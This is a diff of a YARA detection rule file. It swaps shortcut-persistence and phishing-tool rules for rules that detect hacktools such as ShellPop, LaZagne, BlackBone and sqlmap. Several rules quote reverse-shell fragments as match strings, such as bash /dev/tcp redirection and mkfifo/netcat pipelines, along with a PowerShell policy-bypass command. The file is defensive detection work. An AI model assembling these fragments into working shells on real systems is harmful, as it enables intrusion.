-		id = "82d0483f-48ee-5d0c-ba7d-73d9e9455423"
-		date = "2019-09-27"
+		description = "Detects a supcicious powershell commandline"
+		author = "Tobias Michalski"
+		id = "efa81fd0-b764-5a1a-98a5-fc3135be220b"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ItsReallyNick/status/1176229087196696577"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L161-L179"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "957fe9f24d08033cf6e29d7e202e04bfb579577d3850a99e97da6b70924ae88e"
-		score = 50
-		quality = 35
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4369-L4382"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bc858d74b8aad09ff539489e961e1a51ba5fe17d3424615ffe5029587ddb9478"
+		score = 65
+		quality = 85
 		tags = "FILE"
+		hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
 
 	strings:
-		$icon = "IconFile="
-		$icon_negate = /[\x0a\x0d]IconFile=[^\x0d]*\.(dll|exe|ico)\x0d/ nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$x1 = "powershell -nop -ep bypass -Command" ascii
 
 	condition:
-		any of ($url*) and $icon and not $icon_negate and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <3KB and 1 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Evasion : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Telnet_TCP : FILE
 {
 	meta:
-		description = "Non-standard .URLs and evasion"
-		author = "@itsreallynick (Nick Carr)"
-		id = "36df4252-2575-5efa-88ce-17e68a349306"
-		date = "2019-09-27"
+		description = "Detects malicious telnet shell"
+		author = "Tobias Michalski"
+		id = "dbd5cc65-c6f1-54f3-813f-7a7f9bcca184"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DissectMalware/status/1176736510856634368"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L181-L198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c4fafae6af3ed5cc2e83e30427107d1c42cc4bc86d5c6a60e26953a11847029f"
-		score = 50
-		quality = 35
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4384-L4397"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e900fb8c0f1fa61f242b97ac542cb1bfd691dd50523e0023e97e3b21617053d7"
+		score = 75
+		quality = 85
 		tags = "FILE"
+		hash1 = "cf5232bae0364606361adafab32f19cf56764a9d3aef94890dda9f7fcd684a0e"
 
 	strings:
-		$URI = /[\x0a\x0d](IconFile|(Base|)URL)[^\x0d=]+/ nocase
-		$filetype_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$filetype_explicit = "[InternetShortcut]" nocase
+		$x1 = "if [ -e /tmp/f ]; then rm /tmp/f;" ascii
+		$x2 = "0</tmp/f|/bin/bash 1>/tmp/f" fullword ascii
 
 	condition:
-		any of ($filetype*) and $URI and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <3KB and 1 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Lolcommand : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Shellpop_Bash
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
-		id = "061e7919-17f1-5774-ad7d-fc964dc9a947"
-		date = "2019-09-27"
-		modified = "2021-02-14"
-		reference = "https://twitter.com/ItsReallyNick/status/1176601500069576704"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L201-L219"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4ac9a555e61303a173443de2a189536c8ea0fc32ee73c589dd104275c7967c57"
-		score = 50
-		quality = 35
-		tags = "FILE"
+		description = "Detects susupicious bash command"
+		author = "Tobias Michalski"
+		id = "ea9c2491-8b25-5ba4-9968-22a45d6e6491"
+		date = "2018-05-18"
+		modified = "2023-12-05"
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4399-L4411"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "31633e84ecc1885d041f36399bb5b10915f6371a37d2995f369eb8c0294f1596"
+		score = 65
+		quality = 85
+		tags = ""
+		hash1 = "36fad575a8bc459d0c2e3ad626e97d5cf4f5f8bedc56b3cc27dd2f7d88ed889b"
 
 	strings:
-		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*(powershell|cmd|certutil|mshta|wscript|cscript|rundll32|wmic|regsvr32|msbuild)(\.exe|)[^\x0d]{2,50}\x0d/ nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$ = "/bin/bash -i >& /dev/tcp/" ascii
 
 	condition:
-		any of ($url*) and any of ($file*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		1 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Webdav : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Netcat : FILE
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
-		id = "cd660b84-d7c6-52fc-9e1d-76450e5262b1"
-		date = "2019-09-27"
+		description = "Detects suspcious netcat shellpop"
+		author = "Tobias Michalski"
+		id = "cd55e912-b57b-5fce-98eb-5a0cd27a6e4d"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176243536754282497"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L222-L239"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4fec084392140245eeb25bb512f3a4631ec6be08c197ec130a907fc118161197"
-		score = 50
-		quality = 35
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4413-L4428"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2c61da27d4bc455a9f2555fcc1c5cce7cead226a5900eeed1aaf622616051b79"
+		score = 75
+		quality = 85
 		tags = "FILE"
+		hash1 = "98e3324f4c096bb1e5533114249a9e5c43c7913afa3070488b16d5b209e015ee"
 
 	strings:
-		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=\s*\/\/[A-Za-z0-9]/
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$s1 = "if [ -e /tmp/f ]; then rm /tmp/f;" ascii
+		$s2 = "fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc" ascii
+		$s4 = "mknod /tmp/f p && nc" ascii
+		$s5 = "</tmp/f|/bin/bash 1>/tmp/f" ascii
 
 	condition:
-		any of ($url*) and any of ($file*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <2KB and 1 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Scripturl : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Berootexe : FILE
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
-		id = "2f55f8a9-4e4b-5480-9042-da6bb66b2e06"
-		date = "2019-09-27"
+		description = "Detects beRoot.exe which checks common Windows missconfigurations"
+		author = "yarGen Rule Generator"
+		id = "b91c2e0b-2e47-5339-bf48-eaa8329ea63b"
+		date = "2018-07-25"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176184798248919044"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L241-L259"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ece0013dbc9836fa800f99a10ab46c1eb081e1c04fe45fe17be26ffac1d464e9"
-		score = 50
-		quality = 35
+		reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4431-L4447"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8e10fddd3b3eb5e5200d9ed0bcb23961d196d9e1de03ebf03a96374ee02a9097"
+		score = 75
+		quality = 85
 		tags = "FILE"
+		hash1 = "865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7"
 
 	strings:
-		$file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*script:/ nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$s1 = "checks.webclient.secretsdump(" ascii
+		$s2 = "beroot.modules" fullword ascii
+		$s3 = "beRoot.exe.manifest" fullword ascii
 
 	condition:
-		any of ($url*) and any of ($file*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		( uint16(0)==0x5a4d and filesize <18000KB and 1 of them )
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Workingdirremote_HTTP : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Berootexe_Output : FILE
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
-		id = "68e54f8a-11e4-59e4-8498-59d88e70e438"
-		date = "2019-09-27"
+		description = "Detects the output of beRoot.exe"
+		author = "Tobias Michalski"
+		id = "dfd11915-443f-5ce9-b94a-bdcb0e62104e"
+		date = "2018-07-25"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176184798248919044"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L261-L278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c7c23c1253bf089519dec5f141f486425c6804640d9bffac9ce4c986ce25d323"
-		score = 50
+		reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4449-L4463"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7886535d071092df76507f0dd431409e85c368d404f49e7f118278f6565618e6"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$icon = "WorkingDirectory=http" nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$s1 = "permissions: {'change_config'" fullword wide
+		$s2 = "Full path: C:\\Windows\\system32\\msiexec.exe /V" fullword wide
+		$s3 = "Full path: C:\\Windows\\system32\\svchost.exe -k DevicesFlow" fullword wide
+		$s4 = "! BANG BANG !" fullword wide
 
 	condition:
-		$icon and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <400KB and 3 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Workingdirremote_SMB : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Embeddedpdf : FILE
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
-		id = "26e19fe3-c25c-53b0-9b41-c04803134bc2"
-		date = "2019-09-27"
+		description = "Detects Embedded PDFs which can start malicious content"
+		author = "Tobias Michalski"
+		id = "d4e2d878-fb75-54c5-9879-fe94102911d1"
+		date = "2018-07-25"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176184798248919044"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L280-L297"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d9caa64ac730d34a2dcfb3368f8302849275b6ee16fe31f20978d72382b0d73"
-		score = 50
+		reference = "https://twitter.com/infosecn1nja/status/1021399595899731968?s=12"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4465-L4482"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "041580406e2a7c644d713d8fbf7fccb81664ff536e62df26b3c0f331409fb993"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$icon = "WorkingDirectory=file://" nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$x1 = "/Type /Action\n /S /JavaScript\n /JS (this.exportDataObject({" fullword ascii
+		$s1 = "(This PDF document embeds file" fullword ascii
+		$s2 = "/Names << /EmbeddedFiles << /Names" fullword ascii
+		$s3 = "/Type /EmbeddedFile" fullword ascii
 
 	condition:
-		$icon and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		uint16(0)==0x5025 and 2 of ($s*) and $x1
 }
-rule SIGNATURE_BASE_APT_Area1_SSF_Plugx
+import "pe"
+
+rule SIGNATURE_BASE_HTKL_Blackbone_Driverinjector : FILE
 {
 	meta:
-		description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
-		author = "Area 1"
-		id = "a5b4e781-f0d1-55df-926c-2d321aa48139"
-		date = "2018-12-19"
+		description = "Detects BlackBone Driver injector"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0d992a6c-c57a-5895-af0d-9c167d922601"
+		date = "2018-09-11"
 		modified = "2023-12-05"
-		reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_area1_phishing_diplomacy.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a71f124f0c89c4b020f21d029d0d2997b2bea71526e83bcadffb67acc9cca8f7"
-		score = 75
+		reference = "https://github.com/DarthTon/Blackbone"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4484-L4510"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d6a5f02a465ea46892e1de54a3482aace387ab0d2cdb949e263ce63f4f9edbb7"
+		score = 60
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "8062a4284c719412270614458150cb4abbdf77b2fc35f770ce9c45d10ccb1f4d"
+		hash2 = "2d2fc27200c22442ac03e2f454b6e1f90f2bbc17017f05b09f7824fac6beb14b"
+		hash3 = "e45da157483232d9c9c72f44b13fca2a0d268393044db00104cc1afe184ca8d1"
 
 	strings:
-		$feature_call = { 8b 0? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-         6a 07 6a ff ff d0 8b f0 85 f6 74 14 }
-		$keylogger_reg = { 8b 4d 08 6a 0c 6a 01 8d 55 f4 52 c7 45 f4 01 00 06 00
-         c7 45 f8 00 01 00 00 89 4d fc ff d0 85 c0 75 1d }
-		$file_op = { 55 8b ec 83 ec 20 0f b7 56 18 8b 46 10 66 8b 4e 14 89 45 e4
-         8d 44 32 10 66 89 4d f0 0f b7 4e 1a 57 89 45 e8 33 ff 8d 45 e0 8d 54
-         31 10 50 89 7d e0 89 55 ec c7 45 fa ?? ?? ?? ?? 89 7d f2 89 7d f6 ff
-         15 1c 43 02 10 }
-		$ver_cmp = { 0f b6 8d b0 fe ff ff 0f b6 95 b4 fe ff ff 66 c1 e1 08 0f b7
-         c1 0b c2 3d 02 05 00 00 7f 2c }
-		$regedit = { c7 06 23 01 12 20 c7 46 04 01 90 00 00 89 5e 0c 89 5e 08 e8
-         51 fb ff ff 8b 4d 08 8b 50 38 68 30 75 00 00 56 51 ff d2 }
-		$get_device_caps = { 8b 1d ?? ?? ?? ?? 6a 08 50 ff d3 0f b7 56 12 8b c8 0f af ca
-         b8 1f 85 eb 51 f7 e9 c1 fa 05 8b c2 c1 e8 1f 03 c2 89 45 f8 8b 45 f0 6a 0a 50 ff d3
-         0f b7 56 14 8b c8 0f af ca b8 1f 85 eb 51 }
+		$s1 = "=INITtH=PAGEtA" fullword ascii
+		$s2 = "BBInjectDll" fullword ascii
+		$s3 = "LdrLoadDll" fullword ascii
+		$s4 = "\\??\\pipe\\%ls" fullword wide
+		$s5 = "Failed to retrieve Kernel base address. Aborting" fullword ascii
+		$x2 = "BlackBone: %s: APC injection failed with status 0x%X" fullword ascii
+		$x3 = "BlackBone: PDE_BASE/PTE_BASE not found " fullword ascii
+		$x4 = "%s: Invalid injection type specified - %d" fullword ascii
+		$x6 = "Trying to map C:\\windows\\system32\\cmd.exe into current process" fullword wide
+		$x7 = "\\BlackBoneDrv\\bin\\" ascii
+		$x8 = "DosDevices\\BlackBone" wide
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and filesize <8000KB and (3 of them or 1 of ($x*))
 }
-rule SIGNATURE_BASE_APT_Area1_SSF_Googlesend_Strings : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Sqlmap : FILE
 {
 	meta:
-		description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
-		author = "Area 1 (modified by Florian Roth)"
-		id = "66a2faa1-b133-528c-91a9-06a43d2c00a0"
-		date = "2018-12-19"
+		description = "Detects sqlmap hacktool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "da2029dd-c4ce-557f-a409-c468fa3deef3"
+		date = "2018-10-09"
 		modified = "2023-12-05"
-		reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_area1_phishing_diplomacy.yar#L29-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a373ed63494b67883515c133bf5b0af3ab874397c7cb45c8399f12e35212be4"
+		reference = "https://github.com/sqlmapproject/sqlmap"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4512-L4525"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9aa13bc2db40f5ab3debd617c84b1e11805d137bc55e9088bc9a0c23e185dfce"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "9444478b03caf7af853a64696dd70083bfe67f76aa08a16a151c00aadb540fa8"
 
 	strings:
-		$conf = "RefreshToken.ini" wide
-		$client_id = "Enter your client ID here" wide
-		$client_secret = "Enter your client secret here" wide
-		$status = "We are going to send" wide
-		$s1 = { b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d ?? ?? ?? ?? 00 75 ??
-         51 52 6a 00 e8 ?? ?? ?? ?? 5a 59 b8 00 01 00 00 f0 0f b0
-         23 0f ?? ?? ?? ?? ?? 51 52 6a 0a e8 ?? ?? ?? ?? 5a 59 eb c3 }
+		$x1 = "if cmdLineOptions.get(\"sqlmapShell\"):" fullword ascii
+		$x2 = "if conf.get(\"dumper\"):" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		filesize <50KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_ELF_SPARC_Hunting_SBZ_Obfuscation : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Sqlmap_Backdoor : FILE
 {
 	meta:
-		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
-		author = "netadr, modified by Florian Roth to avoid elf module import"
-		id = "15ee9a66-d823-508c-a14c-2c6ff45f47e5"
-		date = "2023-04-02"
-		modified = "2023-05-08"
-		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_sparc_sbz_apr23.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3d45dc8d8dbc62cee6b7ec4aa842eaa88bd23aea17e995eef4850fd91e7069a3"
-		score = 60
+		description = "Detects SqlMap backdoors"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bf09caac-cf15-5936-b5b4-df4f28788961"
+		date = "2018-10-09"
+		modified = "2023-12-05"
+		reference = "https://github.com/sqlmapproject/sqlmap"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4527-L4543"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e09135e3908442d873511b7b75c8475b2345a28f3bad41a242d6fc5a3b7c002"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
-	strings:
-		$xor_block = { 9A 18 E0 47 9A 1B 40 01 9A 18 80 0D }
-		$a1 = "SUNW_"
-
 	condition:
-		uint32be(0)==0x7f454c46 and $a1 and $xor_block
+		( uint32(0)==0x8e859c07 or uint32(0)==0x2d859c07 or uint32(0)==0x92959c07 or uint32(0)==0x929d9c07 or uint32(0)==0x29959c07 or uint32(0)==0x2b8d9c07 or uint32(0)==0x2b859c07 or uint32(0)==0x28b59c07) and filesize <2KB
 }
-rule SIGNATURE_BASE_SUSP_ELF_SPARC_Hunting_SBZ_Uniquestrings
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Lazagne_Passworddumper_Dec18_1 : FILE
 {
 	meta:
-		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
-		author = "netadr, modified by Florian Roth for performance reasons"
-		id = "d2f70d10-412e-5e83-ba4f-eac251012dc1"
-		date = "2023-04-02"
-		modified = "2023-05-08"
-		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_sparc_sbz_apr23.yar#L26-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bb95fc6bda0a0ed8ffc6db9734c725c487b0e70909d60119bf58d60987daaaeb"
-		score = 60
+		description = "Detects password dumper Lazagne often used by middle eastern threat groups"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bae48a4d-33b6-55b9-abf5-daf87e5da9e9"
+		date = "2018-12-11"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4545-L4565"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "887c8e91942076395dc7575d5cbd926e7e0971a759daf719983dd918d9babad3"
+		score = 85
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1205f5845035e3ee30f5a1ced5500d8345246ef4900bcb4ba67ef72c0f79966c"
+		hash2 = "884e991d2066163e02472ea82d89b64e252537b28c58ad57d9d648b969de6a63"
+		hash3 = "bf8f30031769aa880cdbe22bc0be32691d9f7913af75a5b68f8426d4f0c7be50"
 
 	strings:
-		$s1 = "<%u>[%s] Event #%u: "
-		$s2 = "lprc:%08X" ascii fullword
-		$s3 = "diuXxobB"
-		$s4 = "CHM_FW"
+		$s1 = "softwares.opera(" ascii
+		$s2 = "softwares.mozilla(" ascii
+		$s3 = "config.dico(" ascii
+		$s4 = "softwares.chrome(" ascii
+		$s5 = "softwares.outlook(" ascii
 
 	condition:
-		2 of ($*)
+		uint16(0)==0x5a4d and filesize <17000KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_ELF_SPARC_Hunting_SBZ_Modulestruct : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Lazagne_Gen_18
 {
 	meta:
-		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
-		author = "netadr, modified by Florian Roth for FP reduction reasons"
-		id = "909746f1-44f5-597b-bdb2-2a1396d4b8c7"
-		date = "2023-04-02"
-		modified = "2023-05-08"
-		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_sparc_sbz_apr23.yar#L49-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dc9608c769dcb14ba01559bfe2e8ed03eebf5695b867b53742f26e3fcce389ca"
-		score = 60
+		description = "Detects Lazagne password extractor hacktool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "034ea6d8-f5cf-5664-9ff9-24d19403093d"
+		date = "2018-12-11"
+		modified = "2023-12-05"
+		reference = "https://creativecommons.org/licenses/by-nc/4.0/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4567-L4584"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f3e895080267a551a3b7a0ba2d4207b31befacbd35d1e6941e1b69d7e2689ce"
+		score = 80
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		hash1 = "51121dd5fbdfe8db7d3a5311e3e9c904d644ff7221b60284c03347938577eecf"
 
 	strings:
-		$be = { 02 02 00 00 01 C1 00 07 }
-		$le = { 02 02 00 00 07 00 C1 01 }
+		$x1 = "lazagne.config.powershell_execute(" ascii
+		$x2 = "creddump7.win32." ascii
+		$x3 = "lazagne.softwares.windows.hashdump" ascii
+		$x4 = ".softwares.memory.libkeepass.common(" ascii
 
 	condition:
-		uint32be(0)==0x7f454c46 and ($be or $le)
+		2 of them
 }
-rule SIGNATURE_BASE_FIN7_Dropper_Aug17 : FILE
+import "pe"
+
